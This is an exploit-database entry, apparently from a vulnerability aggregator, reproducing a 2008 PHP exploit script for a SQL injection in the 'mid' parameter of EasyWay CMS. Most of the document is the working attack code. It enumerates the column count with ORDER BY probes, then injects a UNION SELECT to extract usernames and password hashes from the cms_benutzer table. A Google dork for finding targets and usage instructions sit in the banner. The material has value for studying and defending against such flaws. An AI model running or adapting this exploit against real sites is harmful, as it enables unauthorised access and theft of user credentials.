EasyWay CMS (index.php mid) Remote SQL Injection Exploit

🗓️ 01 Jun 2008 00:00:00Reported by RootType
EasyWay CMS Remote SQL Injection Exploi

                                                &lt;?php
ini_set(&quot;max_execution_time&quot;,0);
print_r('
###############################################################
#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;EasyWay&nbsp;CMS&nbsp;-&nbsp;SQL&nbsp;Injection&nbsp;Exploit&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Vulnerability&nbsp;discovered&nbsp;by:&nbsp;Lidloses_Auge&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Exploit&nbsp;coded&nbsp;by:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Lidloses_Auge
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Greetz&nbsp;to:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-=Player=-&nbsp;,&nbsp;Suicide,&nbsp;g4ms3,&nbsp;enco,
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GPM,&nbsp;Free-Hack
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Date:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;30.05.2008
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Developer:		&nbsp;&nbsp;&nbsp;&nbsp;http://www.ta-edv.de/index.php?lg=de&amp;css=1&amp;mid=320&amp;art=1
#
###############################################################
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dork:&nbsp;&nbsp;inurl:&quot;index.php?css=mid=art=&quot;
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Admin&nbsp;Panel:&nbsp;[Target]/cms/
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Usage:&nbsp;php&nbsp;'.$argv[0].'&nbsp;[Target]&nbsp;[Userid]
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Example&nbsp;for&nbsp;&quot;http://www.site.com/index.php?css=1&amp;mid=100&amp;art=1&quot;
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;php&nbsp;'.$argv[0].'&nbsp;http://www.site.com&nbsp;1
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
###############################################################
');
if&nbsp;($argc&nbsp;==&nbsp;3)&nbsp;{
echo&nbsp;&quot;\nExploiting&nbsp;in&nbsp;progress:&quot;;
$url&nbsp;=&nbsp;$argv[1];
$source&nbsp;=&nbsp;file_get_contents($url.'/index.php?mid=null+order+by+100/*');
$errorcount&nbsp;=&nbsp;substr_count($source,'not&nbsp;a&nbsp;valid&nbsp;MySQL');
$sql&nbsp;=&nbsp;'/index.php?mid=null+union+select+';
for&nbsp;($i&nbsp;=&nbsp;25;&nbsp;$i&gt;=1;&nbsp;$i--)&nbsp;{
&nbsp;&nbsp;&nbsp;$source&nbsp;=&nbsp;file_get_contents($url.'/index.php?mid=null+order+by+'.$i.'/*');
&nbsp;&nbsp;&nbsp;if&nbsp;(substr_count($source,'not&nbsp;a&nbsp;valid&nbsp;MySQL')!=$errorcount)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$errorcount2&nbsp;=&nbsp;$i;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$i&nbsp;=&nbsp;1;
&nbsp;&nbsp;&nbsp;}
}
for&nbsp;($j=1;&nbsp;$j&lt;$errorcount2;&nbsp;$j++)&nbsp;{
&nbsp;&nbsp;&nbsp;$sql&nbsp;=&nbsp;$sql.'concat(0x3a3a3a3a3a,login,0x3a3a313a3a,passwort,0x3a3a323a3a),';&nbsp;&nbsp;&nbsp;
}
$sql&nbsp;=&nbsp;$sql.'concat(0x3a3a3a3a3a,login,0x3a3a313a3a,passwort,0x3a3a323a3a)+from+cms_benutzer+where+id='.$argv[2].'/*';
$source&nbsp;=&nbsp;file_get_contents($url.$sql);
echo&nbsp;&quot;\n&quot;;
if&nbsp;(strpos($source,'::::')!=0)&nbsp;{
&nbsp;&nbsp;&nbsp;echo&nbsp;'User:&nbsp;'.substr($source,strpos($source,'::::')+5,strpos($source,'::1::')-strpos($source,'::::')-5).&quot;\n&quot;;
&nbsp;&nbsp;&nbsp;echo&nbsp;'Hash:&nbsp;'.substr($source,strpos($source,'::1::')+5,strpos($source,'::2::')-strpos($source,'::1::')-5).&quot;\n&quot;;
}&nbsp;else&nbsp;{
&nbsp;&nbsp;&nbsp;echo&nbsp;'Exploit&nbsp;failed!'.&quot;\n&quot;;
}
}&nbsp;else&nbsp;{
echo&nbsp;&quot;\nNot&nbsp;enough&nbsp;arguments!\n&quot;;
}
?&gt;
01 Jun 2008 00:00Current
7.1High risk
Vulners AI Score7.1